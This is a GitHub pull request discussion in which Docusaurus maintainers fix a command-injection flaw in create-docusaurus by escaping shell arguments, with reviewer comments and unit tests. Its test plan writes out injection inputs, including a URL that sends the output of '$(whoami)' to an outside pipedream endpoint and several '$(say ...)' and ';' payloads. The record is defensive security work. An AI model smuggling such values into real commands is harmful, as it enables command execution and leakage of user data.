fix(create-docusaurus): potential security issue with command injection #7507

slorber · 2022-05-26T16:56:32Z

Pre-flight checklist

I have read the Contributing Guidelines on pull requests.
If this is a code change: I have written unit tests and/or added dogfooding pages to fully verify the new behavior.
If this is a new API or substantial change: the PR has an accompanying issue (closes #0000) and the maintainers have approved on my working plan.

Motivation

ShellJS args must be escaped to prevent possible malicious command injections in create-docusaurus

Test Plan

unit + locally

These 3 should work fine:

rm -rf website/build/test && yarn create-docusaurus website/build/test https://github.com/slorber/docusaurus-starter
rm -rf website/build/test && yarn create-docusaurus website/build/test 'https://github.com/slorber/docusaurus-starter'
rm -rf website/build/test && yarn create-docusaurus 'website/build/test' 'https://github.com/slorber/docusaurus-starter'

But these should not allow executing malicious input:

rm -rf website/build/test && yarn create-docusaurus 'website/build/test$(say hello)' https://github.com/slorber/docusaurus-starter

rm -rf website/build/test && yarn create-docusaurus website/build/test 'https://en7bf688iy9a.x.pipedream.net/targetName=$(whoami)'

rm -rf website/build/test && yarn create-docusaurus website/build/test 'https://github.com/slorber/docusaurus-starter;say hello'

Before the change, all these 3 commands would say hello or send currentUser to the remote endpoint. Now it's fixed.

Related issues/PRs

We removed Execa here: #5904

I think we should rather migrate from shelljs to execa, because apparently Execa automatically handle such security concerns better (even according to ShellJS security doc: https://github.com/shelljs/shelljs/wiki/Security-guidelines) + it's more used and maintained

netlify · 2022-05-26T17:04:24Z

✅ [V2]

Name	Link
🔨 Latest commit	`1cc0b48`
🔍 Latest deploy log	https://app.netlify.com/sites/docusaurus-2/deploys/628fb14282a6ac00084a0a34
😎 Deploy Preview	https://deploy-preview-7507--docusaurus-2.netlify.app
📱 Preview on mobile	Toggle QR Code... Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify site settings.

github-actions · 2022-05-26T17:04:56Z

⚡️ Lighthouse report for the deploy preview of this PR

URL	Performance	Accessibility	Best Practices	SEO	PWA	Report
/	🟠 87	🟢 100	🟢 100	🟢 100	🟢 90	Report
/docs/installation	🟠 79	🟢 99	🟢 100	🟢 100	🟢 90	Report

github-actions · 2022-05-26T17:08:34Z

Size Change: 0 B

Total Size: 796 kB

ℹ️ View Unchanged

Filename	Size
`website/.docusaurus/globalData.json`	52.3 kB
`website/build/assets/css/styles.********.css`	106 kB
`website/build/assets/js/main.********.js`	598 kB
`website/build/index.html`	38.9 kB

_{compressed-size-action}

Josh-Cena · 2022-05-27T00:49:35Z

packages/docusaurus-utils/src/__tests__/shellUtils.test.ts

+    expect(escapeShellArg('hello')).toBe("'hello'");
+    expect(escapeShellArg('*')).toBe("'*'");
+    expect(escapeShellArg('hello world')).toBe("'hello world'");
+    expect(escapeShellArg("'hello'")).toBe("\\''hello'\\'");


Need more tests with unpaired quotes and attempts of injection

This will be deleted after moving to Execa. I think those temporary tests are good enough for the small amount of escaping we'll do manually. Now if you want to add tests or provide a better implementation, go ahead

Josh-Cena

LGTM👍

I doubt if it really happens in practice that users have unpaired quotes in their path names, and less so that it leads to command injection. But I've thought about the same.

As for execa vs. shelljs, I think our very simple approach to sanitize the input will suffice. All input is from the user and we should trust that there's no intentionally constructed injection. But it seems execa is also more lightweight (half the install size of shelljs in a fresh repo, not sure how much it would be in our monorepo). As long as there's feature parity, I'm okay for a switch.

Josh-Cena · 2022-05-27T00:54:46Z

packages/create-docusaurus/package.json

@@ -23,6 +23,7 @@
  "license": "MIT",
  "dependencies": {
    "@docusaurus/logger": "2.0.0-beta.20",
+    "@docusaurus/utils": "2.0.0-beta.20",


I know it's already very bloated, but I'd like to point out that a bare install of create-docusaurus is 8.1M, which is a bit too much for a scaffolding utility. I'd like to lower its size gradually, like avoiding lodash and @docusaurus/utils

Agree, but it will be removed after migrating to Execa so I'd rather increase this temporarily rather than creating a temporary smaller package

Sure, I agree!

Josh-Cena · 2022-05-27T00:59:03Z

I think the install size of execa will be 0 for our users, because WDS has a transitive dependency on it, but shelljs is not transitively depended on by any user package—I'm all for a switch! 😄

slorber · 2022-05-27T08:40:49Z

I doubt if it really happens in practice that users have unpaired quotes in their path names, and less so that it leads to command injection. But I've thought about the same.

The line is a bit blurry here 🤪 if users paste bad code in their terminal, obviously it's a bad idea. A hidden command can more easily sneak into a template URL. This security issue was reported.

I don't think we should fix "deploy" for example, even though you can hack yourself through a malicious env variable or site config... DEPLOYMENT_BRANCH='$(say hack)' yarn workspace website deploy --skip-build

I think the install size of execa will be 0 for our users, because WDS has a transitive dependency on it, but shelljs is not transitively depended on by any user package—I'm all for a switch! 😄

Yes

Also only Crowdin still use shelljs today in our monorepo so users could just dl execa if we migrate to it

@zpao already attempted a migration here: https://gist.github.com/zpao/7bbb58f2d44b553cf37581d338c826a4

That doesn't look like too complex considering we only have 3 files using shelljs. What annoys me is that we don't have good automated tests to cover these things. I wonder if we shouldn't introduce first a way to test the deployment script for example.

This PR is a good enough solution to the security issue, we'll do the cleanup later

Josh-Cena · 2022-05-27T08:49:25Z

I'm particularly surprised that execa is 1/3 the install size of shelljs... I always considered shelljs as just a thin wrapper.

slorber added 5 commits May 26, 2022 17:39

simplify getFileCommitDate

bce2479

simplify getFileCommitDate

f6345de

add shellUtils

aac5f29

fix shell escape

1f574b6

escape shell exec command args

1cc0b48

slorber added the pr: bug fix This PR fixes a bug in a past release. label May 26, 2022

slorber requested review from lex111 and Josh-Cena as code owners May 26, 2022 16:56

facebook-github-bot added the CLA Signed Signed Facebook CLA label May 26, 2022

Josh-Cena reviewed May 27, 2022

View reviewed changes

slorber merged commit dbd161d into main May 27, 2022

slorber deleted the slorber/shell-escale branch May 27, 2022 08:41

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

fix(create-docusaurus): potential security issue with command injection #7507

fix(create-docusaurus): potential security issue with command injection #7507

slorber commented May 26, 2022 •

edited

Loading

netlify bot commented May 26, 2022

github-actions bot commented May 26, 2022

github-actions bot commented May 26, 2022

Josh-Cena May 27, 2022

slorber May 27, 2022

Josh-Cena left a comment •

edited

Loading

Josh-Cena May 27, 2022

slorber May 27, 2022

Josh-Cena May 27, 2022

Josh-Cena commented May 27, 2022

slorber commented May 27, 2022

Josh-Cena commented May 27, 2022

fix(create-docusaurus): potential security issue with command injection #7507

fix(create-docusaurus): potential security issue with command injection #7507

Conversation

slorber commented May 26, 2022 • edited Loading

Pre-flight checklist

Motivation

Test Plan

Related issues/PRs

netlify bot commented May 26, 2022

✅ [V2]

github-actions bot commented May 26, 2022

⚡️ Lighthouse report for the deploy preview of this PR

github-actions bot commented May 26, 2022

Josh-Cena May 27, 2022

Choose a reason for hiding this comment

slorber May 27, 2022

Choose a reason for hiding this comment

Josh-Cena left a comment • edited Loading

Choose a reason for hiding this comment

Josh-Cena May 27, 2022

Choose a reason for hiding this comment

slorber May 27, 2022

Choose a reason for hiding this comment

Josh-Cena May 27, 2022

Choose a reason for hiding this comment

Josh-Cena commented May 27, 2022

slorber commented May 27, 2022

Josh-Cena commented May 27, 2022

slorber commented May 26, 2022 •

edited

Loading

Josh-Cena left a comment •

edited

Loading